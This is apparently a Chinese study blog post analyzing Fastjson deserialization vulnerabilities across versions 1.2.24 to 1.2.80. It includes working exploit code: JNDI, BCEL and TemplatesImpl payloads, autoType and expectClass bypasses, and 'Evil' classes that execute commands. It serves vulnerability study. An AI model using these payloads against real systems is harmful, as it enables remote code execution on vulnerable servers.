Fastjson利用

fastjson和原生反序列化的区别:

不需要实现Serializable
变量可控:不需要不是transient(原生) / 变量有对应的setter或者是public或者满足条件的getter
setter/getter 不是read0bject

共同点:(利用方法)

sink 反射/动态类加载

所以我们从利用方法入手,从恶意的类找到setter/getter

1.2.24利用

走jndi

  • 从这里入手

    image-20260322145147670

    image-20260322145230040

    他的实现中有一个jndi注入(先InitialContext(),再lookup)

    所以我们接下来就看getDataSourceName(lookup的参数)可不可控

    image-20260322145519197

    这是他的set方法

    image-20260322205241751

    string name明显我们是可控的

  • 现在我们就要反向找,直达找到get set

    image-20260322205541433

    看connect()的用法

    image-20260322211500558

    不用get

    image-20260322211530491

    返回值不满足那四种,进到里面就是一个接口类型

    所以我们这个地方用的是set

    image-20260322211813361

    就直接传值进去,调用connect

exp

  • image-20260322214747264

    使用yakit直接生成jndi的恶意payload

    ldap://127.0.0.1:8085/ARlMObFA

    写到我们的exp里面

    1
    2
    3
    4
    5
    6
    7
    8
    9
    package org.example;
    
    import com.alibaba.fastjson.JSON;
    public class ExpJndi {
        public static void main(String[] args) throws Exception {
            String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/ARlMObFA\",\"autoCommit\":false}";
            JSON.parseObject(s);
        }
    }

    image-20260322215443622

劣势:

  • 用了jndi,受版本限制,依赖限制,出网限制

走bcel

依赖:

1
2
3
4
5
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jdbc</artifactId>
    <version>9.0.20</version>
</dependency>

用的本地的动态类加载,相较于jndi的远程类加载需要的东西更少

  • 在这个地方

    image-20260322215848413

    先看classloader

    image-20260322220321654

    满足这个条件的名字,先创建类,在动态类加载

  • 所以我们目前就要调用这个bcel.loadclass

    先测试一下

    要写convert:

    将 ExpBcel.java(攻击者视角),必须有一个过程把 Evil.class 变成 byte[],再变成 $$BCEL$$ 字符串。

    (BCEL 的本质:它是把 编译后的二进制指令 伪装成字符串)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    package org.example;
    
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    
    import java.io.*;
    
    public class ExpBcel {
    
            public static void main(String[] args) throws Exception {
                ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
                byte[] bytes = convert("C:\\Users\\95227\\Desktop\\实验室\\Evil.class");
                String code = Utility.encode(bytes, true);//encode因为createClass的时候里面有个decode
               classLoader.loadClass("$$BCEL$$" + code).newInstance();//为了满足if中的条件成功走到defineclass
    //            BasicDataSource dataSource = new BasicDataSource();
    //            dataSource.setDriverClassLoader(classLoader);
    //            dataSource.setDriverClassName("$$BCEL$$" + code);
    //            dataSource.getConnection();
    
    
    
            }
    
            // 补充 convert 方法实现(读取 class 文件字节流)
            public static byte[] convert(String filePath) throws Exception {
                // 1. 创建输入流指向你的 Evil.class 文件
                InputStream is = new FileInputStream(filePath);
                // 2. 创建字节数组输出流,用来接收读取的内容
                ByteArrayOutputStream bos = new ByteArrayOutputStream();
    
                byte[] buffer = new byte[1024];
                int len;
                // 3. 循环读取
                while ((len = is.read(buffer)) != -1) {
                    bos.write(buffer, 0, len);
                }
    
                is.close();
                // 4. 返回字节码数组
                return bos.toByteArray();
            }
    
    }

    image-20260323144440882

    image-20260322222630766

    所以说,,目前我们已经找到了触发,现在我们找从哪触发

  • 接下来我们看谁能调用到这个loadclass,就是用的basicdatasource,这个包在tomcat里面

    image-20260322223559150

    这快forname加载driverClassName和driverClassLoader,要求driverClassLoader不为空

    所以我们就需要将我们的恶意类替换成这个地方的driverClassName

    **driverClassName**:就是塞进去的那串 $$BCEL$$... 字符串。

    **driverClassLoader**:就是传进去的那个 BCEL 专用的 ClassLoader

  • 我们看看driverClassName和driverClassLoader是否有对应的setter

    image-20260322223832121

    image-20260322223900727

    说明是可控的

  • createDataSource()

    createDataSource() 内部调用了 createConnectionFactory() 来初始化数据库连接。

  • 看看createDataSource有没有方法可以调到他

    image-20260322224113040

    用的是getConnection

    但是这里走的是get,代码会在反序列化(parseObject)之后,紧接着调用 JSON.toJSONString(obj),扫描对象所有的 get,扫描到 getConnection() 时,它觉得这是一个属性,于是执行 invoke。结果就在“转字符串”的过程中把恶意代码执行了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    public class ExpBcel {
    
            public static void main(String[] args) throws Exception {
                ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
                byte[] bytes = convert("C:\\Users\\95227\\Desktop\\实验室\\Evil.class");
                String code = Utility.encode(bytes, true);
    //            classLoader.loadClass("$$BCEL$$" + code).newInstance();
                BasicDataSource dataSource = new BasicDataSource();
                dataSource.setDriverClassLoader(classLoader);
                dataSource.setDriverClassName("$$BCEL$$" + code);
                dataSource.getConnection();
             }
            // 补充 convert 方法实现(读取 class 文件字节流)
            public static byte[] convert(String filePath) throws Exception {
                // 1. 创建输入流指向你的 Evil.class 文件
                InputStream is = new FileInputStream(filePath);
                // 2. 创建字节数组输出流,用来接收读取的内容
                ByteArrayOutputStream bos = new ByteArrayOutputStream();
                byte[] buffer = new byte[1024];
                int len;
                // 3. 循环读取
                while ((len = is.read(buffer)) != -1) {
                    bos.write(buffer, 0, len);
                }
                is.close();
                // 4. 返回字节码数组
                return bos.toByteArray();
            }
    }

    变成了这样

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class ExpBcel {

        public static void main(String[] args) throws Exception {
//            ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
            byte[] bytes = convert("C:\\Users\\95227\\Desktop\\实验室\\Evil.class");
            String code = Utility.encode(bytes, true);
//            classLoader.loadClass("$$BCEL$$" + code).newInstance();
//            BasicDataSource dataSource = new BasicDataSource();
//            dataSource.setDriverClassLoader(classLoader);
//            dataSource.setDriverClassName("$$BCEL$$" + code);
//            dataSource.getConnection();
			String s ="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code+"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
            
            
        JSON.parseObject(s);
		}
        // 补充 convert 方法实现(读取 class 文件字节流)
        public static byte[] convert(String filePath) throws Exception {
            // 1. 创建输入流指向你的 Evil.class 文件
            InputStream is = new FileInputStream(filePath);
            // 2. 创建字节数组输出流,用来接收读取的内容
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            int len;
            // 3. 循环读取
            while ((len = is.read(buffer)) != -1) {
                bos.write(buffer, 0, len);
            }
            is.close();
            // 4. 返回字节码数组
            return bos.toByteArray();
        }
}

注意一点:

这里我们写的Evil.class里面的恶意代码要写到static,静态代码块里面

因为要走newInstance():顺序为: static{}>{}>无参构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {}
    }
    // 或者写在无参构造函数里
    public Evil() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

TemplatesImpl

image-20260323201647023

之前研究cc的时候,就有TemplatesImpl.getTransletInstance.newInstance,正好就是我们这地方用get来触发,还调用了newInstance

  • image-20260323202128350

    逻辑:

    1
    2
    3
    4
    5
    _name != null
    _class == null//说明字节码还没被加载成类。
    走defineTransletClasses();//遍历 _bytecodes
    	defineClass//把_bytecodes它变成真正的 Class 对象并存入 _class 数组。
    进到newInstance
  • 看defineTransletClasses():

    image-20260323204149490

    控制_bytecodes _tfactory defineClass(defineClass给_class赋值)

    image-20260323204331701

    也就是说,_bytecodes写好恶意代码就行

  • 看getTransletInstance,他返回类型并不满足条件

    getTransletInstance用法找到newTransformer

    newTransformer找到方法 getOutputProperties ,返回类型 Properties 继承 Map 所以反序列化能调它,找到了利用链的开头

    image-20260323205714493

    image-20260323210307923

    Hashtable是个map

总结一下上面我们需要构造的参数

我们需要 _name, _bytecodes, _outputProperties, _tfactory,

  • _name限制不能为null

  • _bytecodes传入恶意的字节码

  • _outputProperties在流程中触发,必须

  • _tfactory 不能null,因为后面的流程中要调用,写成{},json会创建一个TransformerFactoryImpl 的实例

    image-20260323211129998

构造字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class  Evil   extends AbstractTranslet  {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public static void main(String[] args) {
    }
}

为什么这个Evil和上一个版本的不一样?

  • 要求传入的_class继承与AbstractTranslet

  • 若是未继承,则_transletIndex为默认的-1

    image-20260323212949559

  • 到defineTransletClasses里面就会报出异常

    image-20260323213015676

所以我们要在Evil字节码中继承AbstractTranslet

  • 这样的话就走到defineTransletClasses里面的另外一个if

    image-20260323213152175

    使得_transletIndex等于i,这样就不会爆出异常

还有一个在exp里面需要写的

1
2
3
4
5
6
7
8
9
public static String readClass(String cls){
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    try {
        IOUtils.copy(new FileInputStream(new File(cls)), bos);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return Base64.encodeBase64String(bos.toByteArray());
}

这个方法是用来Base64 编码的,将读取进来的byte[]变成字符串存到json中

和上面的convert很像,都是编码

只不过:

  • convert 调用了 Utility.encode(bytes, true),且必须以 $$BCEL$$ 开头,被com.sun.org.apache.bcel...ClassLoader解码
  • readClass是走的Base64.getEncoder().encodeToString(bytes),被Fastjson 自动解码 + defineClass(是标准的 Base64解码)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class ExpTemplatesImpl {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {


        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = "C:\\Users\\95227\\Desktop\\实验室\\Evil.class";
        String code = readClass(evilClassPath);
        String s="{\n" +
                "    \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
                "    \"_bytecodes\": [\""+code+"\"],\n" +
                "    \"_name\": \"FastJson\",\n" +
                "    \"_tfactory\": {},\n" +
                "    \"_outputProperties\": {}\n" +
                "}";

        JSONObject jsonObject = JSONObject.parseObject(s, Feature.SupportNonPublicField);
    }

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
}

image-20260323214913489

接下来的版本会对 类加载有了黑名单

1.2.25利用

1.2.47之前:

测试的时候发现存在报错

autoType is not support. com.sun.rowset.JdbcRowSetImpl

image-20260324103932849

对比版本修复:

跟着前面的步骤到检测@type关键字的时候

1.2.24

image-20260324104348454

直接类加载

1.2.25

image-20260324104309281

多了一条checkAutoType函数

也就是说在checkAutoType里面做了过滤以及加载

image-20260324104550307

分析

但是有好多的if

流程:

  • 第一个if: 首先加载typeName是否为空

  • 第二个if:if永远为false

    autoTypeSupport 为false expectClass为null所以进不去

    autoTypeSupport 是新增的一个开关,默认为关

    image-20260324105350623

    expectClass我们在上一步传入的是null

    • 若是我们成功进去这个逻辑

      要是再白名单里,就会加载

      要是在黑名单里,就要爆出异常

      白名单为空,跟着配置文件

      黑名单:

      image-20260324111801963

  • 到getClassFromMapping

    image-20260324112428223

    这一步主要是从mapping中获取缓存,赋值给clazz

    第三个if:进if若为空则用反序列化器(也是个缓存)寻找typeName

    第四个if:要是缓存里面有这个类,且满足expectClass为null,则返回这个类

  • 第五个if:

    image-20260324112942549

    autoTypeSupport 为true则还是前面黑名单白名单那一套

    autoTypeSupport 为false继续往下走

    第六个if:image-20260324113153875

    条件满足则加载,明显不满足

  • 第七个if:

    image-20260324113341439

    第一个if里面的ClassLoader DataSource满足,则会报异常,不满足就到expectClass

    第二个if里面expectClass != null满足,返回类;不满足则到autoTypeSupport

    第三个if里面!this.autoTypeSupport满足则返回类;不满足就抛异常

流程图总结:

image-20260324180936778

返回类的点我已经用橙色标出来了

  • autoTypeSupport 为false expectClass为nul,进不了白名单
  • 缓存里面可以找到,且expectClass为nul,那么就可以返回类,可以加载到
  • 也是在白名单
  • 期望类有关,期望类为null走不到这里
  • autoTypeSupport得是true,也进不去

所以目前我们就需要走到就是第二点,让类在缓存里面能找到

  • 先看getClassFromMapping里面的缓存mapping

    看mapping的赋值(put)

    主要有两个地方

    • image-20260324182513712

      主要是对进程刚刚开始初始化的时候,把内置的类放到mapping

    • image-20260324182821374

      加载到放在缓存里面,第二次直接在缓存里面找就好

  • 接下来我们向上找,看loadClass

    image-20260324183113705

    这几个,首先递归是他自己内部的一些操作,没啥看的

    parserConfig又是我们刚刚分析一堆if的地方

    TypeUtils里面的就是从这里到loadClass的

    所以只留下了:MiscCodec里面的

  • image-20260324183346892

    当clazz等于Class的时候才会调用

    看看这个MiscCodec:

    image-20260324183553990

    他继承了序列化和反序列化两个类,说明他就是一个反序列化器

    我们知道,之前在分析的时候,走的是javabeanDeserializer的默认反序列化器

    具体的这个获取的话,就是从config里面get得到的,可以进去看一下

    image-20260324183821401

    image-20260324183956482

    里面就是将默认的需要反序列化的东西放进去

    先放缓存加载类,再存缓存中返回类

    所以目前就比较通常了:先利用这个类加载器,将字符串传入clazz;然后调用loadclass将类加载;加载到类名的时候放到mapping里面;最后到了checkAutoType进if的时候,再将clazz返回

  • 构造我们的字符串s

    需要构造的东西:

    • MiscCodec里面的strVal

      这一段的逻辑就是先走stringVal,然后过滤之后,将值传到objVal,之后再由objVal将值传到strVal中

      所以我们来看一下stringVal的过滤

      1
      2
      3
      4
      5
      6
      7
      8
      if (lexer.token() == JSONToken.LITERAL_STRING) {
          if (!"val".equals(lexer.stringVal())) {
              throw new JSONException("syntax error");
          }
          lexer.nextToken();
      } else {
          throw new JSONException("syntax error");
      }

      也就是说这个key的值必须是val,不然就会爆出异常

    • 其他也就是上面1.2.24分析的东西

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSON;

public class FastJsonBypass1 {
    public static void main(String[] args) {
        // 第一步:反序列化一个Class类,值为恶意类
        // 接着用之前的payload
        String s = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
                "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/DAMmyeph\",\"autoCommit\":false}]";    
        JSON.parseObject(s);
    }
}

image-20260324213605975

1.2.41之前

后面看文章又有一个用于1.2.25-1.2.41版本的:简单说就是打开AutoType开关,走黑名单(通过),到接下来的类加载,然后再走一遍返回clazz

流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//这是应为autoTypeSupport为true

if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
//这是因为expectClass = null,但是mapping中没有
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }
//类加载,把L删掉(具体操作在TypeUtils里面,已经截图在了下面)
if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }
//再走一次返回clazz
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

image-20260325205503324

所以我们现在要打开开关

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

编写String s

1
String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:8085/wbtlKCrg\",\"autoCommit\":true}";

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonBypass41 {
    public static void main(String[] args) {

    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:8085/wbtlKCrg\",\"autoCommit\":true}";
    JSON.parseObject(s);
    }
}

image-20260325210337315

其他

  • 1.2.42 版本,修复把L删掉(只是修了一层)

在 checkAutoType 的最前面加了一段逻辑:在撞黑名单之前先“剥皮”了,只剥了一层!双写LL即可绕过

  • 在 1.2.47 版本中,官方把 L; 的剥离逻辑改成了循环(可以剥多层了),但它可以走“缓存检查”(就是我们上面提到的)

  • 1.2.48 版本

    • 把 MiscCodec 里的 cache 设为 false,恶意类再也进不了缓存。
    • 无论你走哪个分支,typeName 都会先经过严格的递归清洗,剥掉所有的 L、;、[。

1.2.68

修复

1.2.47 的核心问题是 MiscCodec 在处理 java.lang.Class 时,默认调用 TypeUtils.loadClass 把恶意类塞进了缓存。

1.2.48 里的修复方案:在 MiscCodec 类里,当识别到目标是 Class.class 时,调用 loadClass 明确传了一个 cache = false。恶意类即便加载了,也不会进入 mappings 缓存,第二次 @type 进来时依然要撞黑名单。、

代码变成了:

1
2
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);//48
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());//47

从 1.2.48 - 1.2.67,就是按照1.2.41的逻辑,只不过用不在黑名单里面的恶意类,官方发现一个绕过(Gadget),就往黑名单里加一个 Hash。只是找新的Gadget,没啥新的底层逻辑突破

直到1.2.68,走的是**expectClass 绕过**。

如果 @type 指定的类是一个特定基础类的子类(比如 java.lang.AutoCloseable 或者java.lang.Throwable),checkAutoType 的防护逻辑会变得非常宽松。

而且expectClassFlag开关也是前面没有的

1
2
3
4
5
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.68</version>
</dependency>

分析

先写一个小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;
import java.io.IOException;
public class  TestFastJsonBypass68 implements AutoCloseable{

        public TestFastJsonBypass68(){
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        @Override
        public void close() throws Exception {

        }

}
1
2
3
4
5
6
7
8
9
10
package org.example;

import com.alibaba.fastjson.JSON;

public class FastJsonBypass68 {
        public static void main(String[] args) {
            String s = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.TestFastJsonBypass68\",\"cmd\":\"calc\"}\n";
            JSON.parseObject(s);
        }
}
  • 走expectClass 绕过,还是主要在checkautotype里面,直接断到里面

    image-20260325223103405

    但是expectClass为null,typeName是我们传入的第一层

  • 中间的东西就是对于之前的东西的一些过滤( L、;、[的剥除;防止进mapping缓存)

  • 接下来从缓存获取image-20260326125125914

    因为java.lang.AutoCloseable是Fastjson 内置的

  • 这里的if都没有进去,直接返回了clazz

    image-20260326130029618

    而且都没有走下面的!autoTypeSupport

  • clazz进行了一个deserialze方法

    image-20260326130238091

  • 进deserialze

    image-20260326130636264

    因为由Autocloseable不能通过getSeeAlso方法成功生成deserializer对象,从而触发第二轮checkAutoType

  • 这样传的参数就变成了

    typeName是org.example.TestFastJsonBypass68(恶意代码)

    expectClass是上一轮的interface java.lang.AutoCloseable

    image-20260326131027922

  • expectClass目前是有值的

    image-20260326131443225

    对exceptclass进行白名单校验,Autocloseable类内置随便过掉,然后使exceptClassFlag置为true

    开exceptClassFlag就是为了能进入下面的if

  • 进行过滤:先黑后白(这块的黑白名单都变成了hash比对,这样攻击者从源码方面就找不到名单里面具体的的类了)

    image-20260326135430141

    • !internalWhite不白名单—–true
    • autoTypeSupport没开—–false
    • expectClassFlag上一步开了—–true

    说明可以进if

  • 第二次到这里的时候,并没有返回clazz

    因为clazz开始就null,因为在mapping中没有加载到缓存(第一次到这的时候,是内部类,所以会加载到)

    也就是说不会进if (clazz != null) {,也就走不到return clazz;

    image-20260326141551127

  • 开关没开(!就是true),进if,也是黑白名单

    image-20260326141841669

    黑名单没问题,白名单不进去,所以也到不了clazz

  • 接下typename指定类被传入TypeUtils.loadClass

    image-20260326142519788

    注意:

    这里返回clazz是走的TypeUtils.loadClass里面内部的逻辑(上面的版本也说过)

    根本不会进下面的if,所以也不是走的下面的return clazz;

    image-20260326142819570

  • 返回了clazz之后就校验是否为ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget

    主要就是前几个版本的修复

  • 判断clazz是否是exceptClass的子类,是的话就直接返回类对象。类对象被返回后,就会进入被反序列化的下一个过程,它的构造方法等会被调用,从而完成利用

    image-20260326143059559

  • 剩下的东西就出了checkAutoType,到deserializer,就是我们在fastjson基础里面提到的东西了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;
import java.io.IOException;
public class  TestFastJsonBypass68 implements AutoCloseable{

        public TestFastJsonBypass68(){
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        @Override
        public void close() throws Exception {

        }

}
1
2
3
4
5
6
7
8
9
10
package org.example;

import com.alibaba.fastjson.JSON;

public class FastJsonBypass68 {
        public static void main(String[] args) {
            String s = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.TestFastJsonBypass68\",\"cmd\":\"calc\"}\n";
            JSON.parseObject(s);
        }
}

image-20260326143550479

1.2.80

修复

  • 从在 1.2.68 到 1.2.79 之间就是加黑名单,将发现的能expectClassFlag 变 true 的接口。

  • 而到了1.2.80用的就是另一个期望类,漏洞点异常类Throwable

(利用 Throwable 家族实现万能绕过,逼迫官方放弃黑名单防御)

官方不能直接删掉 expectClassFlag = true。 因为如果删了,正常的业务代码就跑不通了

  • 所以目前就演变出,开启safeMode,开启 SafeMode 后,checkAutoType 会在进入你贴的那些 expectClass 判断之前就直接抛异常。导致checkAutoType 返回不了 clazz 对象,没办法反序列化

(safeMode:只要检测到用户试图使用 @type 功能,它就直接抛出异常,根本不给后续代码(包括你研究的那些 expectClass 逻辑)任何执行的机会。)

总结

版本对比:

  • 1.2.24版本

    • 没有任何过滤器,可以使用任何类进行反序列化攻击。
    • 典型攻击类:TemplatesImpl、JdbcRowSetImpl。
  • 1.2.25版本

    • 引入checkAutoType机制,加入黑名单和白名单。
    • AutoType机制开启
      • 先检查白名单,白名单中的类直接加载。
      • 若不在白名单,继续检查黑名单,若不在黑名单,正常加载。
    • AutoType机制关闭
      • 先检查黑名单,若类在黑名单中则抛出异常。
      • 再检查白名单,若不在白名单则抛出异常。
  • 1.2.42版本

    • 加入对L;的检测,发现L;则去除。
    • 黑名单和白名单类名隐去,使用hash比对。
  • 1.2.43版本

    • 加入对LL;;的检测,发现LL;;则去除。
    • 通过引入对[字符的检测进行进一步防护。
  • 1.2.45版本

    • 黑名单机制问题:黑名单无法穷尽所有恶意类。
  • 1.2.47版本

    • 开启AutoType且版本在33到47之间
      • 若类不在白名单,则继续检查黑名单。
      • 若类不在黑名单且不在mappings中,则正常加载。
      • 关键问题在于如何往mappings中添加恶意类。
    • 未开启AutoType且版本在24到32之间,也存在漏洞。
  • 1.2.68版本

    • 引入

      1
      expectedClass

      机制,增加了防护,但仍存在逻辑漏洞:

      • 特别是针对Throwable类的防护不足。
  • 1.2.80版本

    异常类漏洞防护

    • 针对Throwable类及其子类的漏洞防护不足进行了增强,防止利用这些类进行攻击。

参考文章:

浅析FastJSON反序列化漏洞(1.2.24——1.2.68)-腾讯云开发者社区-腾讯云

Java中Fastjson各版本漏洞对抗史与总结-先知社区

fastjson1.2.80 漏洞分析复现 - FreeBuf网络安全行业门户


Fastjson利用
http://example.com/2026/03/26/Fastjson利用/
作者
Piggy Sprint
发布于
2026年3月26日
许可协议